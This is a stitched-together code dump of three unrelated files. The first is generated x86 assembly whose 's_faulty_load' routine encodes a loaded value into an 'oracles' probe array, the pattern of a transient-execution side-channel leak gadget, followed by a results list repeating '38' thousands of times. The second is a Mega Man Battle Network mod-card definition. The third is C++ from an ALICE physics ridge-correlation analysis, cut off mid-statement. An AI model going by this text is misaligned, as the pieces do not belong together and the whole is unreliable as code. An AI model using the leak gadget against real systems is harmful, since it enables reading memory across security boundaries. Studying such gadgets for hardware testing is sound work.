.global s_prepare_buffers s_prepare_buffers: push %r12 push %r15 push %r9 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_WT_ht+0xaab, %rsi lea addresses_WT_ht+0x19cab, %rdi clflush (%rsi) nop nop nop inc %r15 mov $104, %rcx rep movsb nop add $37320, %rbp lea addresses_UC_ht+0x15db5, %r12 nop nop nop nop nop xor $39000, %rax mov (%r12), %edi nop nop nop nop nop add %r15, %r15 lea addresses_normal_ht+0x2c8b, %rbp dec %rsi mov $0x6162636465666768, %rcx movq %rcx, (%rbp) nop nop add %r15, %r15 lea addresses_normal_ht+0xf5ab, %rsi lea addresses_D_ht+0x17eab, %rdi clflush (%rsi) clflush (%rdi) nop nop nop sub $55488, %r9 mov $48, %rcx rep movsb nop nop nop nop xor $97, %r12 lea addresses_WT_ht+0xccab, %r15 nop sub $62192, %rbp movups (%r15), %xmm2 vpextrq $1, %xmm2, %rsi nop nop nop nop add $19236, %rbp pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r15 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r14 push %r8 push %rax push %rdi push %rdx // Store lea addresses_WT+0x100ab, %r10 sub %r13, %r13 movw $0x5152, (%r10) nop nop nop nop dec %r13 // Store lea addresses_A+0x6007, %rax nop sub %rdx, %rdx mov $0x5152535455565758, %r13 movq %r13, (%rax) and %r14, %r14 // Faulty Load lea addresses_WC+0x184ab, %rdx nop and $28193, %rdi mov (%rdx), %r14w lea oracles, %rax and $0xff, %r14 shlq $12, %r14 mov (%rax,%r14,1), %r14 pop %rdx pop %rdi pop %rax pop %r8 pop %r14 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 8, 'same': False, 'type': 'addresses_WT'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 2, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': True, 'type': 'addresses_WC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 4, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'src': {'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'38': 21829} 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 */
.include "defaults_mod.asm" table_file_jp equ "exe6-utf8.tbl" table_file_en equ "bn6-utf8.tbl" game_code_len equ 3 game_code equ 0x4252354A // BR5J game_code_2 equ 0x42523545 // BR5E game_code_3 equ 0x42523550 // BR5P card_type equ 1 card_id equ 111 card_no equ "111" card_sub equ "Special Mod Card" card_sub_x equ 53 card_desc_len equ 2 card_desc_1 equ "BassBX" card_desc_2 equ "70MB" card_desc_3 equ "" card_name_jp_full equ "フォルテBX" card_name_jp_game equ "フォルテBX" card_name_en_full equ "BassBX" card_name_en_game equ "BassBX" card_address equ "" card_address_id equ 0 card_bug equ 0 card_wrote_en equ "" card_wrote_jp equ ""
/************************************************************************** * Copyright(c) 1998-2015, ALICE Experiment at CERN, All rights reserved. * * * * Author: The ALICE Off-line Project. * * Contributors are mentioned in the code where appropriate. * * * * Permission to use, copy, modify and distribute this software and its * * documentation strictly for non-commercial purposes is hereby granted * * without fee, provided that the above copyright notice appears in all * * copies and that both the copyright notice and this permission notice * * appear in the supporting documentation. The authors make no claims * * about the suitability of this software for any purpose. It is * * provided "as is" without express or implied warranty. * **************************************************************************/ // Comment describing what this class does needed! //================================================================== // class for two-particle angular correlations analyses. // by Beomkyu KIM, Junlee Kim. //================================================================== #include "TFile.h" #include "TSystem.h" #include "TGrid.h" #include "TH2.h" #include "TH3.h" #include "TString.h" #include "AliStack.h" #include "AliMCEvent.h" #include "AliGenEventHeader.h" #include "AliAnalysisManager.h" #include "AliInputEventHandler.h" #include "AliGenDPMjetEventHeader.h" #include "AliGenPythiaEventHeader.h" #include "AliCentrality.h" #include "AliAODMCHeader.h" #include "AliAODMCParticle.h" #include "AliMultiplicity.h" #include "AliMultSelection.h" #include "AliVMultiplicity.h" #include "AliVVZERO.h" #include "AliJetContainer.h" #include <algorithm> #include <fstream> #include <iostream> #include <TVector3.h> #include <TVectorT.h> #include "AliJJet.h" #include "AliAnalysisTaskRidge.h" #include <AliDirList.h> #include "AliEmcalJet.h" #include "AliLog.h" #include "AliParticleContainer.h" #include "AliClusterContainer.h" #include "AliEmcalContainer.h" #include "AliStack.h" #include "AliEmcalTrackSelection.h" #include "AliEmcalTrackSelectionAOD.h" #include "AliEmcalJet.h" #include <TClonesArray.h> #include <TList.h> #include <TProfile.h> #include "AliAnalysisTaskEmcalJet.h" #include "AliEmcalJet.h" #include "AliAnalysisTaskRhoSparse.h" #include "AliRhoParameter.h" using namespace std; const Double_t pi = TMath::Pi(); AliAnalysisTaskRidgeRunTable::AliAnalysisTaskRidgeRunTable() : fCollisionType(kUnknownCollType) {;} AliAnalysisTaskRidgeRunTable::AliAnalysisTaskRidgeRunTable(Int_t runnumber) { if (runnumber>=114737 && runnumber<=130850) fCollisionType = kPP; //LHC10bcde else if (runnumber>=144871 && runnumber<=146860) fCollisionType=kPP;//LHC11a else if (runnumber>=136851 && runnumber<=139517) fCollisionType=kAA;//LHC10h else if (runnumber>=167813 && runnumber<=170595) fCollisionType=kAA;//LHC11h else if (runnumber>=188356 && runnumber<=188503) fCollisionType=kPA;//LHC12g else if (runnumber>=189122 && runnumber<=192732) fCollisionType=kPA;//LHC12h else if (runnumber>=195344 && runnumber<=195483) fCollisionType=kPA;//LHC13b else if (runnumber>=195529 && runnumber<=195677) fCollisionType=kPA;//LHC13c else if (runnumber>=195724 && runnumber<=195872) fCollisionType=kPA;//LHC13d else if (runnumber>=195955 && runnumber<=195872) fCollisionType=kPA;//LHC13e else if (runnumber>=197669 && runnumber<=200000) fCollisionType=kPA;//LHC13g else if (runnumber>=256504 && runnumber<=260014) fCollisionType=kPP;//LHC16kl else fCollisionType=kPP; } AliAnalysisTaskRidgeRunTable::~AliAnalysisTaskRidgeRunTable() {;} //___________________________________________________________________ AliAnalysisTaskRidge::AliAnalysisTaskRidge() :AliAnalysisTaskEmcalJet("AliAnalysisTaskRidge") , fOption() , goodtrackindices() , fEMpool () , fEMpooltracklet() , fEMpoolMCALICE () , fEMpoolMCCMS () { } //___________________________________________________________________ AliAnalysisTaskRidge::AliAnalysisTaskRidge ( const char *name , const char *option ) :AliAnalysisTaskEmcalJet(name) , fOption(option) , goodtrackindices() , fEMpool () , fEMpooltracklet() , fEMpoolMCALICE () , fEMpoolMCCMS () { DefineOutput (1, AliDirList::Class()); } //___________________________________________________________________ AliAnalysisTaskRidge::AliAnalysisTaskRidge ( const AliAnalysisTaskRidge& ap ) : fOption(ap.fOption) , goodtrackindices(ap.goodtrackindices) , fEMpool (ap.fEMpool) , fEMpooltracklet(ap.fEMpooltracklet) , fEMpoolMCALICE(ap.fEMpoolMCALICE) , fEMpoolMCCMS(ap.fEMpoolMCCMS) { DefineOutput (1, AliDirList::Class()); } //___________________________________________________________________ AliAnalysisTaskRidge& AliAnalysisTaskRidge::operator = ( const AliAnalysisTaskRidge& ap ) { // assignment operator DefineOutput (1, AliDirList::Class()); this->~AliAnalysisTaskRidge(); new(this) AliAnalysisTaskRidge(ap); return *this; } //___________________________________________________________________ AliAnalysisTaskRidge::~AliAnalysisTaskRidge() { delete fTrigger; delete fTrackCuts; delete fRunTable; delete fOutput; } //___________________________________________________________________ void AliAnalysisTaskRidge::UserCreateOutputObjects() { // Histograms container fOutput = new AliDirList(); fOutput->SetOwner(); // Offline triggers ----------------------------------------------------- fTrigger = new AliTriggerAnalysis; // offline trigger // fTrigger -> SetFMDThreshold(0.3,0.5); // FMD threshold //----------------------------------------------------------------------- // TrackCuts for strangeness measure------------------------------------- fHistos = new THistManager("Ridgehists"); Double1D varcentbinHigh = { 0, 0.001, 0.01, 0.02, 0.05, 0.1, 0.5, 1}; Double1D varcentbin = {0,1,2,5,10,20,50,60, 70, 80, 90,100}; Double1D varcentbinHeavy = {0,2.5,5,7.5,10,20,30,40,50,60,70,80,90,100}; binCent = AxisVar("Cent",varcentbinHigh); if( IsAA ) binCent = AxisVar("Cent",varcentbinHeavy); if( fOption.Contains("HighMult") ){ binCent = AxisVar("Cent",varcentbinHigh); } else if( !fOption.Contains("HighMult") ){ binCent = AxisVar("Cent",varcentbin); } Double1D ptbin = {0.1,0.5,1.0,1.5,2.0,2.5,3.0,4.0,6.0,14.0,100}; binTPt = AxisVar("TPt",ptbin); //trig binAPt = AxisVar("APt",ptbin); //associate binNtrig = AxisFix("Ntrig",1,0.5,1.5); binUnipT = AxisFix("pt",200,0,20); binTrig = AxisFix("Trig",2,-0.5,1.5); binV0Amp = AxisFix("binV0Amp",3000,0,3e3); binPhi = AxisFix("phi",32,-0.5*pi-pi/32.0, 1.5*pi-pi/32.0); binEta = AxisFix("eta",40,-2.0,2.0); binMCEta = AxisFix("eta",80,-4.0,4.0); binTrkEff = AxisFix("Trkbin",5,0.5,5.5); Double1D pttrackbin = { 0.15, 0.2, 0.25, 0.3, 0.35, 0.4, 0.45, 0.5, 0.55, 0.6, 0.65, 0.7, 0.75, 0.8, 0.85, 0.9, 0.95, 1, 1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7, 1.8, 1.9, 2, 2.2, 2.4, 2.6, 2.8, 3, 3.2, 3.4, 3.6, 3.8, 4, 4.5, 5, 20 }; // 5.5, 6, 6.5, 7, 8 , 10, 13, 20}; binPt = AxisVar("Pt",pttrackbin); Double1D pttrackbin1 = { 0.15, 0.2, 0.25, 0.3, 0.35, 0.4, 0.45, 0.5, 0.55, 0.6, 0.65, 0.7, 0.75, 0.8, 0.85, 0.9, 0.95, 1, 1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7, 1.8, 1.9, 2, 2.2, 2.4, 2.6, 2.8, 3, 3.2, 3.4, 3.6, 3.8, 4, 4.5, 5, 5.5, 6, 6.5, 7, 8 , 10, 13, 20}; binPt1 = AxisVar("Pt",pttrackbin1); Double1D ltpttrackbin = { 0.2, 3.0, 4.0, 5.0, 6.0, 7.0, 9.0, 13.0, 20.0}; Double1D jetptbin = { 0, 10, 20, 30, 40, 50, 60, 80, 100, 1e5 }; Double1D JetCorPtBin = { 0, 10.2191, 20.5902, 31.3062, 42.0445, 52.6048, 62.8071, 100, 1e5 }; binRho = AxisFix("Rho",300,0,30); binLtpt = AxisVar("LPPt",ltpttrackbin); binJetpT = AxisVar("JetPt",jetptbin); if( fOption.Contains("CorJetPt") ){ binJetpT = AxisVar("JetPt",JetCorPtBin); } Double1D verzbin = {-10,-8,-6,-4,-2,0,2,4,6,8,10}; Double1D verzbinFine = { -10, -9, -8, -7, -6, -5, -4, -3, -2, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; binZ = AxisVar("Z",verzbin); if( fOption.Contains("FineBkg") ){ binZ = AxisVar("Z",verzbinFine); } binPhiTrack = AxisFix("PHI",180,0,2*pi); binEtaTrack = AxisFix("ETA",80,-4,4); CreateTHnSparse("hRidgeLT","RidgeLT",6,{binCent,binPhi,binEta,binTPt,binAPt,binLtpt},"s"); CreateTHnSparse("hRidgeMixingSLT","RidgeMixingSLT",6,{binCent,binPhi,binEta,binTPt,binAPt,binLtpt},"s"); CreateTHnSparse("hNtrig","hNtrig",4,{binCent,binTPt,binNtrig,binLtpt},"s"); CreateTHnSparse("hRidgeJet","RidgeJet",6,{binCent,binPhi,binEta,binTPt,binAPt,binJetpT},"s"); CreateTHnSparse("hRidgeMixingSJet","RidgeMixingSJet",6,{binCent,binPhi,binEta,binTPt,binAPt,binJetpT},"s"); CreateTHnSparse("hNtrigJet","hNtrigJet",4,{binCent,binTPt,binNtrig,binJetpT},"s"); CreateTHnSparse("hTrackData","hTrackData",6,{binPt,binPhiTrack,binEtaTrack,binZ,binTrkEff,binCent},"s"); CreateTHnSparse("hTrackDataCor","hTrackDataCor",5,{binPt,binPhiTrack,binEtaTrack,binCent,binZ},"s"); CreateTHnSparse("hTrackDataLTRaw","hTrackDataLTRaw",5,{binCent,binPt,binPhiTrack,binEtaTrack,binZ},"s"); CreateTHnSparse("nevtForMult","nevtForMult",2,{binCent,binV0Amp},"s"); CreateTHnSparse("hRho","hRho",3,{binCent,binJetpT,binRho},"s"); if( fOption.Contains("MC") ){ CreateTHnSparse("hRidgeMCALICELT","hRidgeMCALICELT",6,{binCent,binPhi,binMCEta,binTPt,binAPt,binLtpt},"s"); CreateTHnSparse("hRidgeMixingSMCALICELT","hRidgeMixingSMCALICELT",6,{binCent,binPhi,binMCEta,binTPt,binAPt,binLtpt},"s"); CreateTHnSparse("hNtrigMCALICE","hNtrigMCALICE",4,{binCent,binTPt,binNtrig,binLtpt},"s"); CreateTHnSparse("hRidgeMCCMSLT","hRidgeMCCMSLT",6,{binCent,binPhi,binMCEta,binTPt,binAPt,binLtpt},"s"); CreateTHnSparse("hRidgeMixingSMCCMSLT","hRidgeMixingSMCCMSLT",6,{binCent,binPhi,binMCEta,binTPt,binAPt,binLtpt},"s"); CreateTHnSparse("hNtrigMCCMS","hNtrigMCCMS",4,{binCent,binTPt,binNtrig,binLtpt},"s"); CreateTHnSparse("hRidgeMCALICEJet","hRidgeMCALICEJet",6,{binCent,binPhi,binMCEta,binTPt,binAPt,binJetpT},"s"); CreateTHnSparse("hRidgeMixingSMCALICEJet","hRidgeMixingSMCALICEJet",6,{binCent,binPhi,binMCEta,binTPt,binAPt,binJetpT},"s"); CreateTHnSparse("hNtrigMCALICEJet","hNtrigMCALICEJet",4,{binCent,binTPt,binNtrig,binJetpT},"s"); CreateTHnSparse("hRidgeMCCMSJet","hRidgeMCCMSJet",6,{binCent,binPhi,binMCEta,binTPt,binAPt,binJetpT},"s"); CreateTHnSparse("hRidgeMixingSMCCMSJet","hRidgeMixingSMCCMSJet",6,{binCent,binPhi,binMCEta,binTPt,binAPt,binJetpT},"s"); CreateTHnSparse("hNtrigMCCMSJet","hNtrigMCCMSJet",4,{binCent,binTPt,binNtrig,binJetpT},"s"); CreateTHnSparse("hTrackDataTrue","hTrackDataTrue",5,{binPt,binPhiTrack,binEtaTrack,binCent,binZ},"s"); CreateTHnSparse("hTrackMCallcut","hTrackMCallcut",5,{binPt,binPhiTrack,binEtaTrack,binZ,binTrkEff},"s"); CreateTHnSparse("hTrackMCCMS","hTrackMCCMS",5,{binPt,binPhiTrack,binEtaTrack,binCent,binZ},"s"); CreateTHnSparse("hTrackMCALICE","hTrackMCALICE",5,{binPt,binPhiTrack,binEtaTrack,binCent,binZ},"s"); CreateTHnSparse("hTrackMCCMSLT","hTrackMCCMSLT",5,{binCent,binPt,binPhiTrack,binEtaTrack,binZ},"s"); CreateTHnSparse("hTrackMCALICELT","hTrackMCALICELT",5,{binCent,binPt,binPhiTrack,binEtaTrack,binZ},"s"); CreateTHnSparse("TrigEffMult","TrigEffMult",2,{binCent,binTrig},"s"); CreateTHnSparse("MultiplicityStudy","MultiplicityStudy",4, {binEta,binUnipT,binCent,binV0Amp},"s"); CreateTHnSparse("hRhoMC","hRhoMC",3,{binCent,binJetpT,binRho},"s"); fHistos->CreateTH1("hJetPtMC","",240,0,120); fHistos->CreateTH1("hJetPtCorMC","",240,0,120); } vector<TString> ent ={ "All","IsTriggered","IsNotPileup", "IsValidVtx","IsGoodVtx","IsSelectedFromAliMultSelection", "IsMultiplicityInsideBin" }; auto h = fHistos->CreateTH1("hEventNumbers","",ent.size(), 0, ent.size()); for(auto i=0u;i<ent.size();i++) h->GetXaxis()->SetBinLabel(i+1,ent.at(i).Data()); fHistos->CreateTH1("hJetPt","",240,0,120); fHistos->CreateTH1("hJetEta","",100,-1.0,1.0); fHistos->CreateTH1("hJetPhi","",100,-4,4); fHistos->CreateTH1("hJetPtCor","",240,0,120); fHistos->CreateTH1("hLJetPt","",240,0,120); fHistos->CreateTH1("hLJetEta","",100,-1.0,1.0); fHistos->CreateTH1("hLJetPhi","",100,-4,4); fHistos->CreateTH1("hLHPt","",240,0,120); fHistos->CreateTH1("hPtCons","",200,0,5); fHistos->CreateTH2("hLHPt_JetpT","",240,0,120,240,0,120); fHistos->CreateTH1("hHMT","",1000,0,1,"s"); fHistos->CreateTH1("hMB","",100,0,100,"s"); fHistos->CreateTH2("hMB_V0M","",100,0,100,1000,0,3000,"s"); fHistos->CreateTH2("hHMT_V0M","",1000,0,1,1000,0,3000,"s"); fHistos->CreateTH1("hZvtx","",620,-15.5,15.5,"s"); fHistos->CreateTH2("hPhiEta","",180,0,2*pi,40,-2,2); fHistos->CreateTH2("hPhiEtaCor","",180,0,2*pi,40,-2,2); fEMpool.resize(binCent.GetNbins(),vector<eventpool> (binZ.GetNbins())); fEMpooltracklet.resize(binCent.GetNbins(),vector<eventpooltracklet> (binZ.GetNbins())); fEMpoolMCALICE.resize(binCent.GetNbins(),vector<eventpoolMC> (binZ.GetNbins())); fEMpoolMCCMS.resize(binCent.GetNbins(),vector<eventpoolMC> (binZ.GetNbins())); fOutput -> Add( fHistos->GetListOfHistograms() ); PostData(1, fOutput); if( !fOption.Contains("ITS") ){ for(int i=0;i<fEff_npT_step;i++){ std::vector<double> elem; elem.resize(fEff_neta_step); Eff.push_back(elem); } } else if( fOption.Contains("ITS") ){ for(int i=0;i<fEff_npT_step;i++){ std::vector<double> elem; elem.resize(ITS_fEff_neta_step); Eff.push_back(elem); } } if( fOption.Contains("Add3DEff") ){ for(int i=0;i<fEff_npT_step;i++){ std::vector< std::vector<double> > elem2D; for(int j=0;j<fEff_neta_step;j++){ std::vector<double> elem; elem.resize(fEff_nphi_step); elem2D.push_back(elem); } Eff3D.push_back(elem2D); } } if( fOption.Contains("GRID") ){ TGrid::Connect("alien://"); if( !fOption.Contains("pPb") ) fefficiencyFile = TFile::Open("alien:///alice/cern.ch/user/j/junlee/Efficiency_RIDGE/EffOut.root","read"); if( fOption.Contains("pPb") ) fefficiencyFile = TFile::Open("alien:///alice/cern.ch/user/j/junlee/Efficiency_RIDGE/EffOutpPb.root","read"); if( fOption.Contains("Add3DEff") )fefficiency3DFile = TFile::Open("alien:///alice/cern.ch/user/j/junlee/Efficiency_RIDGE/Eff3DOut.root","read"); } V0M_mean = 120; } //___________________________________________________________________ void AliAnalysisTaskRidge::Exec(Option_t* ) { // Pointer to a event---------------------------------------------------- AliVEvent *event = InputEvent(); if( !event ){ Printf("ERROR: Could not retrieve event"); return; } // ---------------------------------------------------------------------- // connect to ESD tree -------------------------------------------------- Int_t runnumber; // TString foption = option; TString Period; event->IsA()==AliESDEvent::Class() ? fEvt = dynamic_cast<AliESDEvent*>(event) : fEvt = dynamic_cast<AliAODEvent*>(event); if( !fEvt ) return; if( fOption.Contains("MC") ){ IsMC = kTRUE; } if( IsMC ){ AliAODMCHeader *cHeaderAOD = dynamic_cast<AliAODMCHeader*> (fEvt->FindListObject(AliAODMCHeader::StdBranchName())); if( cHeaderAOD ) fZ_gen = cHeaderAOD -> GetVtxZ(); } if( IsFirstEvent ){ runnumber = fEvt->GetRunNumber(); fRunTable = new AliAnalysisTaskRidgeRunTable(runnumber); // if( !fefficiencyFile ) return; if( runnumber >= 252235 && runnumber <= 252330 ) Period = "LHC16d"; else if( runnumber >= 253437 && runnumber <= 253591 ) Period = "LHC16e"; else if( runnumber >= 253659 && runnumber <= 253978 ) Period = "LHC16f"; else if( runnumber >= 254128 && runnumber <= 254332 ) Period = "LHC16g"; else if( runnumber >= 254604 && runnumber <= 255467 ) Period = "LHC16h"; else if( runnumber >= 255539 && runnumber <= 255618 ) Period = "LHC16i"; else if( runnumber >= 256219 && runnumber <= 256418 ) Period = "LHC16j"; else if( runnumber >= 256941 && runnumber <= 256219 ) Period = "LHC16k"; else if( runnumber >= 258962 && runnumber <= 259888 ) { Period = "LHC16l"; V0M_mean=89.9003; } else if( runnumber >= 262424 && runnumber <= 264035 ) { Period = "LHC16o"; V0M_mean=86.3912; } else if( runnumber >= 264076 && runnumber <= 264347 ) { Period = "LHC16p"; V0M_mean=138.814; } else if( runnumber >= 270581 && runnumber <= 270667 ) Period = "LHC17c"; else if( runnumber >= 270822 && runnumber <= 270830 ) Period = "LHC17e"; else if( runnumber >= 270854 && runnumber <= 270865 ) Period = "LHC17f"; else if( runnumber >= 270882 && runnumber <= 271777 ) Period = "LHC17g"; else if( runnumber >= 271870 && runnumber <= 273103 ) { Period = "LHC17h"; V0M_mean=127.895; } else if( runnumber >= 273591 && runnumber <= 274442 ) { Period = "LHC17i"; V0M_mean=124.276; } else if( runnumber >= 274593 && runnumber <= 274671 ) Period = "LHC17j"; else if( runnumber >= 274690 && runnumber <= 276508 ) { Period = "LHC17k"; V0M_mean=121.31; } else if( runnumber >= 276551 && runnumber <= 278216 ) { Period = "LHC17l"; V0M_mean=119.144; } else if( runnumber >= 278914 && runnumber <= 280140 ) { Period = "LHC17m"; V0M_mean=117.165; } else if( runnumber >= 280282 && runnumber <= 281961 ) { Period = "LHC17o"; V0M_mean=113.45; } else if( runnumber >= 282528 && runnumber <= 282704 ) { Period = "LHC17r"; V0M_mean=111.462; } else if( runnumber >= 285009 && runnumber <= 285396 ) Period = "LHC18b"; else if( runnumber >= 285978 && runnumber <= 286350 ) { Period = "LHC18d"; V0M_mean=131.868; } else if( runnumber >= 286380 && runnumber <= 286937 ) { Period = "LHC18e"; V0M_mean=131.397; } else if( runnumber >= 287000 && runnumber <= 287658 ) { Period = "LHC18f"; V0M_mean=130.591; } else if( runnumber >= 288750 && runnumber <= 288619 ) Period = "LHC18g"; else if( runnumber >= 288806 && runnumber <= 288804 ) { Period = "LHC18h"; V0M_mean=130.86; } else if( runnumber >= 288909 && runnumber <= 288861 ) Period = "LHC18i"; else if( runnumber >= 288943 && runnumber <= 288943 ) { Period = "LHC18j"; V0M_mean=131.17; } else if( runnumber >= 289240 && runnumber <= 289971 ) { Period = "LHC18l"; V0M_mean=131.59; } else if( runnumber >= 290323 && runnumber <= 292839 ) { Period = "LHC18m"; V0M_mean=130.467; } else if( runnumber >= 293359 && runnumber <= 293357 ) Period = "LHC18n"; else if( runnumber >= 289201 && runnumber <= 289165 ) { Period = "LHC18k"; V0M_mean=127.642; } else if( runnumber >= 293475 && runnumber <= 293898 ) { Period = "LHC18o"; V0M_mean=124.973; } else if( runnumber >= 294009 && runnumber <= 294925 ) Period = "LHC18p"; if( fOption.Contains("pPb") ) Period = "LHC16q"; TH2D* hEfficiencyHist; TH3D* hEfficiency3DHist; if( !fefficiencyFile ){ for(int i=0;i<fEff_npT_step;i++){ for(int j=0;j<fEff_neta_step;j++){ Eff[i][j] = 0.5; } } } if( fOption.Contains("Add3DEff") && !fefficiency3DFile ){ for(int i=0;i<fEff_npT_step;i++){ for(int j=0;j<fEff_neta_step;j++){ for(int k=0;k<fEff_nphi_step;k++){ Eff3D[i][j][k] = 1.0; } } } } if( fefficiencyFile ){ // cout << (bool)fefficiencyFile->FindObject(Form("%s_Hyb8cm",Period.Data())) << endl; hEfficiencyHist = (TH2D*)fefficiencyFile->Get(Form("%s_Hyb8cm",Period.Data())); if( fOption.Contains("Glb") ){ hEfficiencyHist = (TH2D*)fefficiencyFile->Get(Form("%s_Glb8cm",Period.Data())); } if( fOption.Contains("SDD") ){ hEfficiencyHist = (TH2D*)fefficiencyFile->Get(Form("%s_GlbSDD8cm",Period.Data())); } if( fOption.Contains("TightVtx") ){ hEfficiencyHist = (TH2D*)fefficiencyFile->Get(Form("%s_Hyb6cm",Period.Data())); } if( !hEfficiencyHist ){ hEfficiencyHist = (TH2D*)fefficiencyFile->Get("LHC16l_Hyb8cm"); } if( fOption.Contains("MC") ){ hEfficiencyHist = (TH2D*)fefficiencyFile->Get("LHC16l_Hyb8cm"); } if( hEfficiencyHist ){ for(int i=0;i<fEff_npT_step;i++){ for(int j=0;j<fEff_neta_step;j++){ if( i<hEfficiencyHist->GetNbinsY() ) Eff[i][j] = hEfficiencyHist->GetBinContent(j+1,i+1); else{ Eff[i][j] = hEfficiencyHist->GetBinContent(j+1, hEfficiencyHist->GetNbinsY() ); } if( Eff[i][j] < 0.01 ){ Eff[i][j] = 1.0; } } } } else if( !hEfficiencyHist ){ for(int i=0;i<fEff_npT_step;i++){ for(int j=0;j<fEff_neta_step;j++){ Eff[i][j] = 0.25; } } } } if( fOption.Contains("Add3DEff") && fefficiency3DFile ){ hEfficiency3DHist = (TH3D*)fefficiency3DFile->Get(Form("%s_Hyb8cm",Period.Data())); if( fOption.Contains("Glb") ) hEfficiency3DHist = (TH3D*)fefficiency3DFile->Get(Form("%s_Glb8cm",Period.Data())); if( fOption.Contains("SDD") ) hEfficiency3DHist = (TH3D*)fefficiency3DFile->Get(Form("%s_GlbSDD8cm",Period.Data())); if( fOption.Contains("TightVtx") ) hEfficiency3DHist = (TH3D*)fefficiency3DFile->Get(Form("%s_Hyb6cm",Period.Data())); if( !hEfficiency3DHist ){ hEfficiency3DHist = (TH3D*)fefficiency3DFile->Get("LHC16l_Hyb8cm"); } if( 